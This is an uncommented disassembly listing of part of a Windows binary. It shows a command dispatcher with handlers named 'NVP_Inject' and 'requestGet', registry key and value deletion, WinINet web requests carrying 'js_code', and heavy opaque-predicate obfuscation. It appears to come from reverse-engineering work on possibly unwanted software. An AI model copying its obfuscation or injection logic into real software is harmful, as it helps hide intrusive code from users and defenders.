lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb60], rax
lea rdx, [0x140160664]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xe30], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x140069e3b
cmp cl, 5
jne 0x14006a334
mov byte [rsp + 0x49], 0
mov qword [rsp + 0x220], rdi
lea rdx, [0x14016066c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb70], rax
lea rdx, [0x1401606c0]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x14006a192
mov r10d, dword [0x1401d5d60]
lea ecx, [r10 + 2]
lea eax, [r10 + 1]
imul ecx, eax
imul ecx, r10d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xf
jne 0x140069ee1
mov r8d, edi
mov dword [rsp + 0x280], edi
movsxd r9, r8d
cmp r9, 0xff
jae 0x140069ee1
lea ecx, [r8 + r10]
mov eax, r10d
sub eax, r8d
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x6730], edx
inc r8d
mov dword [rsp + 0x280], r8d
jmp 0x140069eb3
lea rdx, [0x1401606c8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xf28], rax
lea rdx, [0x1401606d0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe40], rdx
lea rcx, [rsp + 0x390]
call fcn.140003310
nop
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 5
jne 0x140069f6c
mov dword [rsp + 0x3cd0], edi
mov dword [rsp + 0x48a0], edi
mov dword [rsp + 0x4d80], edi
mov rbx, qword [rsi + 0x50]
mov qword [rsp + 0x220], rbx
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov r14d, 1
cmp ecx, 4
jne 0x140069fcf
mov ecx, r14d
mov dword [rsp + 0x144], ecx
cmp ecx, r8d
jge 0x140069fc9
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x144], ecx
jmp 0x140069fb1
mov dword [0x1401d5d60], ecx
lea rdx, [0x1401606d8]
lea rcx, [rsp + 0x390]
call fcn.140003770
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x220], rbx
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a029
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x220]
test rbx, rbx
je 0x14006a198
lea rdx, [0x14016072c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb90], rax
lea rdx, [0x1401606f0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xf98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xba0], rdx
lea rcx, [rsp + 0x3e0]
call fcn.140003310
nop
lea rdx, [0x1401606f8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xe50], rax
lea rdx, [0x140160700]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xbb0], rax
mov rcx, rax
call fcn.14003c7e0
mov dword [rsp + 0x14c], eax
lea rdx, [0x140160708]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xfa8], rax
lea rdx, [0x140160758]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xbc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe60], rdx
lea rcx, [rsp + 0x330]
call fcn.140003310
nop
mov r9, rbx
lea r8, [rsp + 0x3e0]
lea rdx, [rsp + 0x14c]
lea rcx, [rsp + 0x330]
call fcn.14004da90
mov byte [rsp + 0x49], al
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a161
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a313
mov rdx, qword [rsp + 0x608]
jmp 0x14006a30a
mov r14d, 1
lea rax, [rsp + 0x618]
mov qword [rsp + 0xbd0], rax
lea rdx, [0x1401606a8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xfb8], rax
lea rdx, [0x1401606b0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xbe0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe80], rdx
lea rcx, [rsp + 0x3a0]
call fcn.140003310
nop
lea rdx, [0x140160718]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xbf0], rax
lea rdx, [0x140160720]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xfc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc00], rdx
lea rcx, [rsp + 0x340]
call fcn.140003310
nop
lea rdx, [0x14015d75c]
lea rcx, [rsp + 0x618]
call fcn.1400022b0
mov rbx, rax
lea rdx, [0x1401606b8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xea0], rax
lea rdx, [0x140160710]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xc10], rax
mov rcx, rax
call fcn.14003c7e0
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401d0d48]
lea r8, [rsp + 0x3a0]
lea rcx, [rsp + 0x340]
call fcn.14004e570
mov byte [rsp + 0x49], al
mov rcx, qword [rsp + 0x340]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a2e2
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a313
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x14006a33a
movzx eax, byte [rsp + 0x49]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
jmp 0x14006a33a
mov r14d, 1
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 3
jne 0x14006cdd8
mov dword [rsp + 0x154], edi
nop word [rax + rax]
mov eax, 0x891ac73b
imul r8d
add edx, r8d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xef
mov eax, r8d
sub eax, edx
cmp eax, 0x93
je 0x14006a3cf
mov eax, r8d
or eax, 0xffffff1b
add r8d, eax
mov dword [0x1401d5d60], r8d
inc edi
mov dword [rsp + 0x154], edi
mov eax, r8d
imul eax, r8d
cmp edi, eax
jg 0x14006a3cf
jmp 0x14006a380
mov dword [0x1401d5d60], edi
jmp 0x14006cdd8
lea rdx, str.removePref
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006aab5
lea rdx, [0x140160780]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xfd8], rax
lea rdx, [0x140160788]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xc20], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
lea rdx, [0x140160734]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xec0], rax
lea rdx, [0x14016073c]
mov rcx, rax
call fcn.14003d190
lea rcx, [rsp + 0x50]
test al, al
je 0x14006a8a9
lea rdx, [0x140160744]
call fcn.14003ce50
mov qword [rsp + 0xc30], rax
lea rdx, [0x14016074c]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xfe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc40], rdx
lea rcx, [rsp + 0x240]
call fcn.140003310
nop
mov rbx, qword [rsi + 0x50]
lea rdx, [0x1401607b8]
lea rcx, [rsp + 0x240]
call fcn.140003770
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xee0], rbx
lea rdx, [0x1401607d0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xc50], rax
lea rdx, [0x1401607d8]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xff8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc60], rdx
lea rax, [rsp + 0x230]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r11d, eax
mov dword [rsp + 0xf8], eax
test eax, eax
je 0x14006a6d0
mov r9d, dword [0x1401d5d60]
lea r10d, [r9 + 1]
mov r8d, r10d
imul r8d, r9d
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
cmp r8d, 3
jne 0x14006a5f6
mov ecx, r9d
imul ecx, r9d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
mov eax, ecx
sub eax, edx
cmp eax, 0xb
je 0x14006a5d1
imul ecx, r9d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 6
jne 0x14006a5d1
mov dword [rsp + 0x1040], edi
mov dword [rsp + 0x10e8], edi
mov dword [rsp + 0x1170], edi
test r9d, r9d
je 0x14006a5ec
dec r9d
je 0x14006a5e4
mov dword [0x1401d5d60], r10d
jmp 0x14006a5f6
mov dword [0x1401d5d60], edi
jmp 0x14006a5f6
mov dword [0x1401d5d60], 2
test r12, r12
je 0x14006a60a
mov dword [r12 + 8], r11d
mov eax, 0x16
mov word [r12], ax
mov rcx, qword [rsp + 0x240]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x648], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a63c
mov rdx, qword [rsp + 0x648]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x658], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a66b
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x14006a683
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
lea rdx, [0x1401607e0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xf00], rax
lea rdx, [0x140160790]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xc70], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1008], rdx
lea rcx, [rsp + 0x350]
call fcn.140003310
nop
mov rdx, qword [rsp + 0x350]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x6d0], eax
mov rcx, qword [rsp + 0x230]
test eax, eax
jne 0x14006a755
lea rdx, [0x14015d79c]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0xf8], eax
test eax, eax
je 0x14006a7f9
jmp 0x14006a766
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0xf8], eax
test eax, eax
je 0x14006a783
test r12, r12
je 0x14006a80e
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
jmp 0x14006a80e
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 7
jne 0x14006a7f9
mov eax, 0xcc
mov dword [rsp + 0x164], eax
mov r8d, 0xee
mov dword [rsp + 0x15c], r8d
test eax, eax
je 0x14006a7f0
test r8d, r8d
je 0x14006a7f0
mov ecx, r8d
mov dword [rsp + 0x500], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x15c], edx
mov eax, ecx
mov dword [rsp + 0x164], ecx
jmp 0x14006a7c4
add eax, r8d
mov dword [0x1401d5d60], eax
test r12, r12
je 0x14006a80e
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x230]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x350]
call fcn.140002350
nop
lea rcx, [rsp + 0x240]
call fcn.140002350
nop
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x14006a85c
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
lea rdx, [0x14016079c]
call fcn.14003ce50
mov qword [rsp + 0xc80], rax
lea rdx, [0x1401607a8]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xf20], rax
cmp byte [rax + 8], 4
jne 0x14006a9d2
lea rdx, [0x1401607f8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xc90], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x1018], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca0], rdx
lea rcx, [rsp + 0x290]
call fcn.140003310
nop
lea rdx, [0x14015d7ec]
lea rcx, [rsp + 0x298]
call fcn.1400022b0
nop
lea rdx, [0x14016080c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x1028], rax
lea rdx, [0x1401607e8]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xcb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf88], rdx
lea rcx, [rsp + 0x3d0]
call fcn.140003310
nop
lea r8, [rsp + 0x290]
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x3d0]
call fcn.14004c8e0
movzx ebx, al
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x3d0]
call fcn.140002350
nop
lea rcx, [rsp + 0x298]
call fcn.140002350
nop
lea rcx, [rsp + 0x290]
jmp 0x14006aa8d
lea rdx, [0x14015d7cc]
lea rcx, [rsp + 0x2f8]
call fcn.1400022b0
nop
lea rdx, [0x14015d7dc]
lea rcx, [rsp + 0x2e8]
call fcn.1400022b0
nop
lea rdx, [0x1401607f0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xcc0], rax
lea rdx, [0x140160838]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xf68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcd0], rdx
lea rcx, [rsp + 0x2d8]
call fcn.140003310
nop
lea r8, [rsp + 0x2f8]
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0x2d8]
call fcn.14004c8e0
movzx ebx, al
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x2d8]
call fcn.140002350
nop
lea rcx, [rsp + 0x2e8]
call fcn.140002350
nop
lea rcx, [rsp + 0x2f8]
call fcn.140002350
test r12, r12
je 0x14006cdd2
neg bl
sbb ax, ax
mov word [r12 + 8], ax
mov esi, 0xb
mov word [r12], si
jmp 0x14006cdd2
lea rdx, [0x140160840]
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
je 0x14006c08e
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
je 0x14006c08e
lea rdx, str.requestGet
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006b24b
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r14d, 1
mov edx, r14d
lea rcx, [0x14015d834]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rsp + 0x8b0], rax
lea rdx, [0x140160958]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x8b8], rax
lea rdx, [0x14015d88c]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x8c8], rax
cmp byte [rax + 8], 4
jne 0x14006b1ce
test rsi, rsi
je 0x14006b1ce
lea rdx, [0x140160960]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x8d8], rax
lea rdx, [0x14015d8cc]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x8e8], rax
lea rdx, [rsp + 0x5ac0]
mov rcx, rax
call fcn.14003c550
mov qword [rsp + 0x8f8], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006abc0
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.140003310
nop
cmp qword [rsp + 0x5ad8], 0x10
jb 0x14006abe9
mov rcx, qword [rsp + 0x5ac0]
call fcn.1400d37c0
mov qword [rsp + 0x5ad8], 0xf
mov qword [rsp + 0x5ad0], rdi
mov byte [rsp + 0x5ac0], 0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0x98]
call fcn.14000fdd0
mov ebx, eax
mov dword [rsp + 0x16c], eax
test eax, eax
jle 0x14006ace1
add ebx, 6
mov dword [rsp + 0x16c], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0x98]
call fcn.1400d6158
mov qword [rsp + 0x908], rax
test rax, rax
jne 0x14006ac5b
mov eax, r15d
jmp 0x14006ac66
sub rax, qword [rsp + 0x98]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x668]
lea rcx, [rsp + 0x98]
call fcn.14000fe20
mov qword [rsp + 0x918], rax
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.1400023d0
nop
lea rcx, [rsp + 0x668]
call fcn.140002350
lea rdx, str.js_code
lea rcx, [rsp + 0x308]
call fcn.140003310
nop
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0x98]
call fcn.14001e0d0
nop
lea rcx, [rsp + 0x308]
call fcn.140002350
xor edx, edx
lea rcx, [rsp + 0x410]
call fcn.14003c080
nop
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 1
jne 0x14006ad64
movabs rax, 0x575749546a4d4f
mov qword [rsp + 0x678], rax
lea rax, [rsp + 0x678]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14006ad37
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0x928], rax
mov rcx, rax
call fcn.1400d3f08
lea rdx, [0x14015dc84]
lea rcx, [rsp + 0xe68]
call fcn.14003c160
nop
lea rdx, [0x14015d884]
lea rcx, [rsp + 0x410]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rsp + 0xe68]
call fcn.14003c4c0
nop
lea rcx, [rsp + 0xe68]
call fcn.14003c410
lea rdx, [0x14016098c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x938], rax
lea rdx, [0x14015dcbc]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x948], rax
lea rdx, [rsp + 0x5be0]
mov rcx, rax
call fcn.14003c550
nop
mov rdx, rax
lea rcx, [rsp + 0xe88]
call fcn.14003c1f0
nop
lea rdx, [0x14015dc94]
lea rcx, [rsp + 0x410]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rsp + 0xe88]
call fcn.14003c4c0
nop
lea rcx, [rsp + 0xe88]
call fcn.14003c410
nop
lea rcx, [rsp + 0x5be0]
call fcn.1400013b0
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 6
jne 0x14006aecf
mov ecx, edi
mov dword [rsp + 0x174], ecx
nop word [rax + rax]
mov eax, 0x63e7063f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x52
mov eax, r8d
sub eax, edx
cmp eax, 0xfe
je 0x14006aec9
mov eax, r8d
or eax, 0xffffff22
add r8d, eax
mov dword [0x1401d5d60], r8d
inc ecx
mov dword [rsp + 0x174], ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x14006aec9
jmp 0x14006ae80
mov dword [0x1401d5d60], ecx
lea rdx, [0x14015db14]
lea rcx, [rsp + 0xea8]
call fcn.14003c160
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x410]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rsp + 0xea8]
call fcn.14003d160
nop
lea rcx, [rsp + 0xea8]
call fcn.14003c410
lea rdx, [0x14015db2c]
lea rcx, [rsp + 0xec8]
call fcn.14003c160
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x410]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rsp + 0xec8]
call fcn.14003c4c0
nop
lea rcx, [rsp + 0xec8]
call fcn.14003c410
mov eax, dword [0x1401d5d60]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 3
jne 0x14006af9b
mov edx, 0xdb
lea r8d, [rdx + 1]
lea rcx, [0x14015dcd4]
call fcn.1400d40f4
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xee8]
call fcn.14003c160
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x410]
call fcn.14003ce50
mov rcx, rax
lea rdx, [rsp + 0xee8]
call fcn.14003c4c0
nop
lea rcx, [rsp + 0xee8]
call fcn.14003c410
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 0x14
jne 0x14006b02d
mov dword [rsp + 0x1078], edi
mov dword [rsp + 0x10b0], edi
mov dword [rsp + 0x1120], edi
mov qword [rsp + 0x688], rdi
lea r9, [rsp + 0x410]
lea r8, [rsp + 0x688]
mov rdx, rsi
lea rcx, [rsp + 0xf08]
call fcn.140031bf0
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r12, r12
je 0x14006b15b
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x5a30], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x5a30], rax
mov qword [rsp + 0x5a48], rdi
mov qword [rsp + 0x5a50], rdi
mov qword [rsp + 0x5a50], 0xf
mov qword [rsp + 0x5a48], rdi
mov byte [rsp + 0x5a38], 0
mov byte [rsp + 0x5a58], 0
lea r8, [rsp + 0xf08]
lea rdx, [rsp + 0x5c00]
lea rcx, [rsp + 0x5a30]
call fcn.14003f740
mov qword [rsp + 0x958], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006b0e9
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.140003310
nop
lea rcx, [rsp + 0x5c00]
call fcn.1400013b0
mov rcx, qword [rsp + 0x318]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x858], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x968], rax
test rax, rax
jne 0x14006b131
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0x318]
call fcn.140002350
nop
lea rcx, [rsp + 0x5a30]
call fcn.14000b4f0
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
mov eax, dword [rsp + 0x1220]
cmp r8d, 5
cmove eax, edi
mov dword [rsp + 0x1220], eax
lea rcx, [rsp + 0xf08]
call fcn.14003c410
nop
lea rcx, [rsp + 0x410]
call fcn.14003c410
nop
lea rcx, [rsp + 0x98]
call fcn.140002350
jmp 0x14006cdd8
test r12, r12
je 0x14006b1e3
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x14006b206
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
jmp 0x14006cf1e
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006b302
test r12, r12
je 0x14006b279
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
mov eax, ecx
sub eax, edx
cmp eax, 0x13
jne 0x14006cdd2
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
mov eax, dword [rsp + 0x1690]
cmp ecx, 0xf
cmove eax, edi
mov dword [rsp + 0x1690], eax
mov r14d, 1
mov ecx, r14d
mov dword [rsp + 0x27c], ecx
cmp ecx, r8d
jge 0x14006b9b8
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x27c], ecx
jmp 0x14006b2e6
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006b9c3
test r12, r12
je 0x14006b95b
lea rdx, [0x1401609b0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x978], rax
lea rdx, [0x1401609b8]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x14006b913
lea rdx, [0x1401609c0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x988], rax
lea rdx, [0x14015dd44]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x14006b913
lea rdx, [0x140160a48]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x998], rax
lea rdx, [0x140160a50]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x14006b913
lea rdx, [0x140160a58]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x9a8], rax
lea rdx, [0x140160a30]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x9b8], rax
cmp byte [rax + 8], 1
jne 0x14006b913
lea rdx, [0x140160a38]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x9c8], rax
lea rdx, [0x14015dd0c]
mov rcx, rax
call fcn.14003ce50
